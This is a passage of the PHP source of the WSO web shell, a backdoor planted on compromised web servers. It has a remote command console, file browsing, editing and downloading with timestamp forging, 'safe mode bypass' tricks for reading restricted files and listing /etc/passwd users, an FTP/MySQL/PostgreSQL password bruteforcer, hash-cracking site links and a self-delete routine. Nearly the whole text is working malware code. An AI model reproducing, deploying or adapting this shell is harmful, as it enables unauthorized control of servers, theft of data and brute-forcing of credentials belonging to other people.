  581. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  582.         $dirs = $files = array();
  583.         $n = count($dirContent);
  584.         for($i=0;$i<$n;$i++) {
  585.                 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  586.                 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  587.                 $tmp = array('name' => $dirContent[$i],
  588.                                          'path' => $GLOBALS['cwd'].$dirContent[$i],
  589.                                          'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  590.                                          'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  591.                                          'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  592.                                          'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  593.                                          'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  594.                                         );
  595.                 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  596.                         $files[] = array_merge($tmp, array('type' => 'file'));
  597.                 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  598.                         $dirs[] = array_merge($tmp, array('type' => 'link'));
  599.                 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  600.                         $dirs[] = array_merge($tmp, array('type' => 'dir'));
  601.         }
  602.         $GLOBALS['sort'] = $sort;
  603.         function wsoCmp($a, $b) {
  604.                 if($GLOBALS['sort'][0] != 'size')
  605.                         return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  606.                 else
  607.                         return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  608.         }
  609.         usort($files, "wsoCmp");
  610.         usort($dirs, "wsoCmp");
  611.         $files = array_merge($dirs, $files);
  612.         $l = 0;
  613.         foreach($files as $f) {
  614.                 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  615.                         .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  616.                 $l = $l?0:1;
  617.         }
  618.         echo "<tr><td colspan=7>
  619.         <input type=hidden name=a value='FilesMan'>
  620.         <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  621.         <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  622.         <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  623.     if(class_exists('ZipArchive'))
  624.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  625.     if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
  626.         echo "<option value='paste'>Paste / zip</option>";
  627.     echo "</select>&nbsp;<input type='submit' value='>>'></td></tr></form></table></div>";
  628.         wsoFooter();
  629. }
  630.  
  631. function actionStringTools() {
  632.         if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  633.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  634.         if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  635.  
  636.         if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  637.  
  638.         if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  639.  
  640.         $stringTools = array(
  641.  
  642.                 'Base64 encode' => 'base64_encode',
  643.                 'Base64 decode' => 'base64_decode',
  644.                 'Url encode' => 'urlencode',
  645.                 'Url decode' => 'urldecode',
  646.                 'Full urlencode' => 'full_urlencode',
  647.                 'md5 hash' => 'md5',
  648.                 'sha1 hash' => 'sha1',
  649.                 'crypt' => 'crypt',
  650.                 'CRC32' => 'crc32',
  651.                 'ASCII to HEX' => 'ascii2hex',
  652.                 'HEX to ASCII' => 'hex2ascii',
  653.                 'HEX to DEC' => 'hexdec',
  654.                 'HEX to BIN' => 'hex2bin',
  655.                 'DEC to HEX' => 'dechex',
  656.                 'DEC to BIN' => 'decbin',
  657.                 'BIN to HEX' => 'binhex',
  658.                 'BIN to DEC' => 'bindec',
  659.                 'String to lower case' => 'strtolower',
  660.                 'String to upper case' => 'strtoupper',
  661.                 'Htmlspecialchars' => 'htmlspecialchars',
  662.                 'String length' => 'strlen',
  663.         );
  664.         if(isset($_POST['ajax'])) {
  665.                 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  666.                 ob_start();
  667.                 if(in_array($_POST['p1'], $stringTools))
  668.                         echo $_POST['p1']($_POST['p2']);
  669.                 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  670.                 echo strlen($temp), "\n", $temp;
  671.                 exit;
  672.         }
  673.         wsoHeader();
  674.         echo '<h1>String conversions</h1><div class=content>';
  675.         if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  676.                 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  677.         echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  678.         foreach($stringTools as $k => $v)
  679.                 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  680.                 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  681.         if(!empty($_POST['p1'])) {
  682.                 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  683.         }
  684.         echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  685.                 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  686.                         <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  687.                         <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  688.                         <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  689.                         <tr><td></td><td><input type='submit' value='>>'></td></tr>
  690.                         </table></form>";
  691.  
  692.         function wsoRecursiveGlob($path) {
  693.                 if(substr($path, -1) != '/')
  694.                         $path.='/';
  695.                 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  696.                 if(is_array($paths)&&@count($paths)) {
  697.                         foreach($paths as $item) {
  698.                                 if(@is_dir($item)){
  699.                                         if($path!=$item)
  700.                                                 wsoRecursiveGlob($item);
  701.                                 } else {
  702.                                         if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  703.                                                 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  704.                                 }
  705.                         }
  706.                 }
  707.         }
  708.         if(@$_POST['p3'])
  709.                 wsoRecursiveGlob($_POST['c']);
  710.         echo "</div><br><h1>Search for hash:</h1><div class=content>
  711.                 <form method='post' target='_blank' name='hf'>
  712.                         <input type='text' name='hash' style='width:200px;'><br>
  713.                         <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  714.                         <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
  715.                         <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  716.                         <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  717.                         <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  718.                 </form></div>";
  719.         wsoFooter();
  720. }
  721.  
  722. function actionFilesTools() {
  723.         if( isset($_POST['p1']) )
  724.                 $_POST['p1'] = urldecode($_POST['p1']);
  725.         if(@$_POST['p2']=='download') {
  726.                 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  727.                         ob_start("ob_gzhandler", 4096);
  728.                         header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  729.                         if (function_exists("mime_content_type")) {
  730.                                 $type = @mime_content_type($_POST['p1']);
  731.                                 header("Content-Type: ".$type);
  732.                         }
  733.                         $fp = @fopen($_POST['p1'], "r");
  734.                         if($fp) {
  735.                                 while(!@feof($fp))
  736.                                         echo @fread($fp, 1024);
  737.                                 fclose($fp);
  738.                         }
  739.                 }exit;
  740.         }
  741.         if( @$_POST['p2'] == 'mkfile' ) {
  742.                 if(!file_exists($_POST['p1'])) {
  743.                         $fp = @fopen($_POST['p1'], 'w');
  744.                         if($fp) {
  745.                                 $_POST['p2'] = "edit";
  746.                                 fclose($fp);
  747.                         }
  748.                 }
  749.         }
  750.         wsoHeader();
  751.         echo '<h1>File tools</h1><div class=content>';
  752.         if( !file_exists(@$_POST['p1']) ) {
  753.                 echo 'File not exists';
  754.                 wsoFooter();
  755.                 return;
  756.         }
  757.         $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  758.         if(!$uid) {
  759.                 $uid['name'] = @fileowner($_POST['p1']);
  760.                 $gid['name'] = @filegroup($_POST['p1']);
  761.         } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  762.         echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  763.         echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  764.         if( empty($_POST['p2']) )
  765.                 $_POST['p2'] = 'view';
  766.         if( is_file($_POST['p1']) )
  767.                 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  768.         else
  769.                 $m = array('Chmod', 'Rename', 'Touch');
  770.         foreach($m as $v)
  771.                 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  772.         echo '<br><br>';
  773.         switch($_POST['p2']) {
  774.                 case 'view':
  775.                         echo '<pre class=ml1>';
  776.                         $fp = @fopen($_POST['p1'], 'r');
  777.                         if($fp) {
  778.                                 while( !@feof($fp) )
  779.                                         echo htmlspecialchars(@fread($fp, 1024));
  780.                                 @fclose($fp);
  781.                         }
  782.                         echo '</pre>';
  783.                         break;
  784.                 case 'highlight':
  785.                         if( @is_readable($_POST['p1']) ) {
  786.                                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  787.                                 $code = @highlight_file($_POST['p1'],true);
  788.                                 echo str_replace(array('<span ','></span>'), array('<font ','></font>'),$code).'</div>';
  789.                         }
  790.                         break;
  791.                 case 'chmod':
  792.                         if( !empty($_POST['p3']) ) {
  793.                                 $perms = 0;
  794.                                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  795.                                         $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  796.                                 if(!@chmod($_POST['p1'], $perms))
  797.                                         echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  798.                         }
  799.                         clearstatcache();
  800.                         echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  801.                         break;
  802.                 case 'edit':
  803.                         if( !is_writable($_POST['p1'])) {
  804.                                 echo 'File isn\'t writeable';
  805.                                 break;
  806.                         }
  807.                         if( !empty($_POST['p3']) ) {
  808.                                 $time = @filemtime($_POST['p1']);
  809.                                 $_POST['p3'] = substr($_POST['p3'],1);
  810.                                 $fp = @fopen($_POST['p1'],"w");
  811.                                 if($fp) {
  812.                                         @fwrite($fp,$_POST['p3']);
  813.                                         @fclose($fp);
  814.                                         echo 'Saved!<br><script>p3_="";</script>';
  815.                                         @touch($_POST['p1'],$time,$time);
  816.                                 }
  817.                         }
  818.                         echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  819.                         $fp = @fopen($_POST['p1'], 'r');
  820.                         if($fp) {
  821.                                 while( !@feof($fp) )
  822.                                         echo htmlspecialchars(@fread($fp, 1024));
  823.                                 @fclose($fp);
  824.                         }
  825.                         echo '</textarea><input type=submit value=">>"></form>';
  826.                         break;
  827.                 case 'hexdump':
  828.                         $c = @file_get_contents($_POST['p1']);
  829.                         $n = 0;
  830.                         $h = array('00000000<br>','','');
  831.                         $len = strlen($c);
  832.                         for ($i=0; $i<$len; ++$i) {
  833.                                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  834.                                 switch ( ord($c[$i]) ) {
  835.                                         case 0:  $h[2] .= ' '; break;
  836.                                         case 9:  $h[2] .= ' '; break;
  837.                                         case 10: $h[2] .= ' '; break;
  838.                                         case 13: $h[2] .= ' '; break;
  839.                                         default: $h[2] .= $c[$i]; break;
  840.                                 }
  841.                                 $n++;
  842.                                 if ($n == 32) {
  843.                                         $n = 0;
  844.                                         if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  845.                                         $h[1] .= '<br>';
  846.                                         $h[2] .= "\n";
  847.                                 }
  848.                         }
  849.                         echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  850.                         break;
  851.                 case 'rename':
  852.                         if( !empty($_POST['p3']) ) {
  853.                                 if(!@rename($_POST['p1'], $_POST['p3']))
  854.                                         echo 'Can\'t rename!<br>';
  855.                                 else
  856.                                         die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  857.                         }
  858.                         echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  859.                         break;
  860.                 case 'touch':
  861.                         if( !empty($_POST['p3']) ) {
  862.                                 $time = strtotime($_POST['p3']);
  863.                                 if($time) {
  864.                                         if(!touch($_POST['p1'],$time,$time))
  865.                                                 echo 'Fail!';
  866.                                         else
  867.                                                 echo 'Touched!';
  868.                                 } else echo 'Bad time format!';
  869.                         }
  870.                         clearstatcache();
  871.                         echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  872.                         break;
  873.         }
  874.         echo '</div>';
  875.         wsoFooter();
  876. }
  877.  
  878. function actionSafeMode() {
  879.         $temp='';
  880.         ob_start();
  881.         switch($_POST['p1']) {
  882.                 case 1:
  883.                         $temp=@tempnam($test, 'cx');
  884.                         if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  885.                                 echo @file_get_contents($temp);
  886.                                 unlink($temp);
  887.                         } else
  888.                                 echo 'Sorry... Can\'t open file';
  889.                         break;
  890.                 case 2:
  891.                         $files = glob($_POST['p2'].'*');
  892.                         if( is_array($files) )
  893.                                 foreach ($files as $filename)
  894.                                         echo $filename."\n";
  895.                         break;
  896.                 case 3:
  897.                         $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  898.                         curl_exec($ch);
  899.                         break;
  900.                 case 4:
  901.                         ini_restore("safe_mode");
  902.                         ini_restore("open_basedir");
  903.                         include($_POST['p2']);
  904.                         break;
  905.                 case 5:
  906.                         for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  907.                                 $uid = @posix_getpwuid($_POST['p2']);
  908.                                 if ($uid)
  909.                                         echo join(':',$uid)."\n";
  910.                         }
  911.                         break;
  912.         }
  913.         $temp = ob_get_clean();
  914.         wsoHeader();
  915.         echo '<h1>Safe mode bypass</h1><div class=content>';
  916.         echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  917.         if($temp)
  918.                 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  919.         echo '</div>';
  920.         wsoFooter();
  921. }
  922.  
  923. function actionConsole() {
  924.         if(isset($_POST['ajax'])) {
  925.                 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  926.                 ob_start();
  927.                 echo "document.cf.cmd.value='';\n";
  928.                 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  929.                 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  930.                         if(@chdir($match[1])) {
  931.                                 $GLOBALS['cwd'] = @getcwd();
  932.                                 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  933.                         }
  934.                 }
  935.                 echo "document.cf.output.value+='".$temp."';";
  936.                 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  937.                 $temp = ob_get_clean();
  938.                 echo strlen($temp), "\n", $temp;
  939.                 exit;
  940.         }
  941.         wsoHeader();
  942.     echo "<script>
  943. if(window.Event) window.captureEvents(Event.KEYDOWN);
  944. var cmds = new Array('');
  945. var cur = 0;
  946. function kp(e) {
  947.         var n = (window.Event) ? e.which : e.keyCode;
  948.         if(n == 38) {
  949.                 cur--;
  950.                 if(cur>=0)
  951.                         document.cf.cmd.value = cmds[cur];
  952.                 else
  953.                         cur++;
  954.         } else if(n == 40) {
  955.                 cur++;
  956.                 if(cur < cmds.length)
  957.                         document.cf.cmd.value = cmds[cur];
  958.                 else
  959.                         cur--;
  960.         }
  961. }
  962. function add(cmd) {
  963.         cmds.pop();
  964.         cmds.push(cmd);
  965.         cmds.push('');
  966.         cur = cmds.length-1;
  967. }
  968. </script>";
  969.         echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  970.         foreach($GLOBALS['aliases'] as $n => $v) {
  971.                 if($v == '') {
  972.                         echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  973.                         continue;
  974.                 }
  975.                 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  976.         }
  977.         if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  978.                 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  979.         echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  980.         if(!empty($_POST['p1'])) {
  981.                 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  982.         }
  983.         echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
  984.         echo '</form></div><script>document.cf.cmd.focus();</script>';
  985.         wsoFooter();
  986. }
  987.  
  988. function actionLogout() {
  989.         unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  990.         die('bye!');
  991. }
  992.  
  993. function actionSelfRemove() {
  994.  
  995.         if($_POST['p1'] == 'yes')
  996.                 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  997.                         die('Shell has been removed');
  998.                 else
  999.                         echo 'unlink error!';
  1000.     if($_POST['p1'] != 'yes')
  1001.         wsoHeader();
  1002.         echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1003.         wsoFooter();
  1004. }
  1005.  
  1006. function actionBruteforce() {
  1007.         wsoHeader();
  1008.         if( isset($_POST['proto']) ) {
  1009.                 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1010.                 if( $_POST['proto'] == 'ftp' ) {
  1011.                         function bruteForce($ip,$port,$login,$pass) {
  1012.                                 $fp = @ftp_connect($ip, $port?$port:21);
  1013.                                 if(!$fp) return false;
  1014.                                 $res = @ftp_login($fp, $login, $pass);
  1015.                                 @ftp_close($fp);
  1016.                                 return $res;
  1017.                         }
  1018.                 } elseif( $_POST['proto'] == 'mysql' ) {
  1019.                         function bruteForce($ip,$port,$login,$pass) {
  1020.                                 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1021.                                 @mysql_close($res);
  1022.                                 return $res;
  1023.                         }
  1024.                 } elseif( $_POST['proto'] == 'pgsql' ) {
  1025.                         function bruteForce($ip,$port,$login,$pass) {
  1026.                                 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1027.                                 $res = @pg_connect($str);
  1028.                                 @pg_close($res);
  1029.                                 return $res;
  1030.                         }
  1031.                 }
  1032.                 $success = 0;
  1033.                 $attempts = 0;
  1034.                 $server = explode(":", $_POST['server']);
  1035.                 if($_POST['type'] == 1) {
  1036.                         $temp = @file('/etc/passwd');
  1037.                         if( is_array($temp) )
  1038.                                 foreach($temp as $line) {
  1039.                                         $line = explode(":", $line);
  1040.                                         ++$attempts;
  1041.                                         if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1042.                                                 $success++;
  1043.                                                 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1044.                                         }
  1045.                                         if(@$_POST['reverse']) {
  1046.                                                 $tmp = "";
  1047.                                                 for($i=strlen($line[0])-1; $i>=0; --$i)
  1048.                                                         $tmp .= $line[0][$i];
  1049.                                                 ++$attempts;
  1050.                                                 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1051.                                                         $success++;
  1052.                                                         echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1053.                                                 }
  1054.                                         }
  1055.                                 }
  1056.                 } elseif($_POST['type'] == 2) {
  1057.                         $temp = @file($_POST['dict']);
  1058.                         if( is_array($temp) )
  1059.                                 foreach($temp as $line) {
  1060.                                         $line = trim($line);
  1061.                                         ++$attempts;
  1062.                                         if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1063.                                                 $success++;
  1064.                                                 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1065.                                         }
  1066.                                 }
  1067.                 }
  1068.                 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1069.         }
  1070.         echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1071.                 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1072.                 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1073.                 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1074.                 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1075.                 .'<span>Server:port</span></td>'
  1076.                 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1077.                 .'<tr><td><span>Brute type</span></td>'
  1078.                 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1079.                 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1080.                 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1081.                 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1082.                 .'<td><input type=text name=login value="root"></td></tr>'
  1083.                 .'<tr><td><span>Dictionary</span></td>'
  1084.                 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1085.                 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1086.         echo '</div><br>';
  1087.         wsoFooter();
  1088. }
  1089.  
  1090. function actionSql() {
  1091.         class DbClass {
  1092.                 var $type;
  1093.                 var $link;
  1094.                 var $res;
  1095.                 function DbClass($type) {
  1096.                         $this->type = $type;
  1097.                 }
  1098.                 function connect($host, $user, $pass, $dbname){
  1099.                         switch($this->type)     {
  1100.                                 case 'mysql':
  1101.                                         if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1102.                                         break;
  1103.                                 case 'pgsql':
  1104.                                         $host = explode(':', $host);
  1105.                                         if(!$host[1]) $host[1]=5432;
  1106.                                         if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1107.                                         break;
  1108.                         }
  1109.                         return false;
  1110.                 }
  1111.                 function selectdb($db) {
  1112.                         switch($this->type)     {
  1113.                                 case 'mysql':
  1114.                                         if (@mysql_select_db($db))return true;
  1115.                                         break;
  1116.                         }
  1117.                         return false;
  1118.                 }
  1119.                 function query($str) {
  1120.                         switch($this->type) {
  1121.                                 case 'mysql':
  1122.                                         return $this->res = @mysql_query($str);
  1123.                                         break;
  1124.                                 case 'pgsql':
  1125.                                         return $this->res = @pg_query($this->link,$str);
  1126.                                         break;
  1127.                         }
  1128.                         return false;
  1129.                 }
  1130.                 function fetch() {
  1131.                         $res = func_num_args()?func_get_arg(0):$this->res;
  1132.                         switch($this->type)     {
  1133.                                 case 'mysql':
  1134.                                         return @mysql_fetch_assoc($res);
  1135.                                         break;
  1136.                                 case 'pgsql':
  1137.                                         return @pg_fetch_assoc($res);
  1138.                                         break;
  1139.                         }
  1140.                         return false;
  1141.                 }
  1142.                 function listDbs() {
  1143.                         switch($this->type)     {
  1144.                                 case 'mysql':
  1145.                                         return $this->res = @mysql_list_dbs($this->link);
  1146.                                 break;
  1147.                                 case 'pgsql':
  1148.                                         return $this->res = $this->query("SELECT datname FROM pg_database");
  1149.                                 break;
  1150.                         }
  1151.                         return false;
  1152.                 }
  1153.                 function listTables() {
  1154.                         switch($this->type)     {
  1155.                                 case 'mysql':
  1156.                                         return $this->res = $this->query('SHOW TABLES');
  1157.                                 break;
